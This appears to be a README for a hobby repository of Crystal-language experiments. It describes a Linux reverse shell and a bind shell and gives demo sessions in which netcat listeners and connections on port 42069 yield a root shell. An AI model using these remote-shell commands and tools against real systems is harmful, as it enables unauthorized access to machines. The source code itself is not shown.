crystalmeth

experiments with "crystal" language. As I faff with it I'll upload small programs here with some semblance of documentation.

The docs for the lang are on the site: https://crystal-lang.org/

backconnect.cr

It is a reverse shell.

Linux only (because I cheated and used syscalls for the dup2 part) reverse shell. Once I can be fucked, I'll fix it so it works properly on other platforms.

Demo:
I mean. It is the most basic reverse shell.

# crystal run backconnect.cr
(nothing happens)
--
attacker:~$  nc -lvp 42069
listening on [any] 42069 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35216
id
uid=0(root) gid=0(root) groups=0(root)
exit

bindport.cr

Linux only (because I cheated and used syscalls for the dup2 part) bind shell. Once I can be fucked, I'll fix it so it works properly on other platforms.

Demo:
I mean. It is the most basic bind shell.

# crystal run bindport.cr
(nothing happens)
--
$ nc -v 127.0.0.1 42069
localhost [127.0.0.1] 42069 (?) open
id
uid=0(root) gid=0(root) groups=0(root)